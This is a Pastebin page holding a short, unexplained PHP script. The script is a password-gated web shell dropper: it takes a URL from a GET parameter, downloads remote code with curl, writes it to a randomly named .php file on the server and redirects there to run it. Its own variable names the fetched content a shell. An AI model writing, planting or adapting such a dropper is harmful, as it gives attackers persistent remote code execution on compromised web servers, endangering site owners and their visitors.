Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $file = $_GET['file'];
- $pass = $_GET['pass'];
- $true = 'c20ad4d76fe97759aa27a0c99bff6710';
- if ($pass == $true){
- $ch = curl_init($file);
- curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_TIMEOUT, 5);
- $shell = curl_exec($ch);
- curl_close($ch);
- $tmp = md5(rand(0,10000));
- $f = fopen($tmp.'.php',"w");
- fputs($f,$shell);
- fclose($f);
- header("Location: $tmp.php");
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement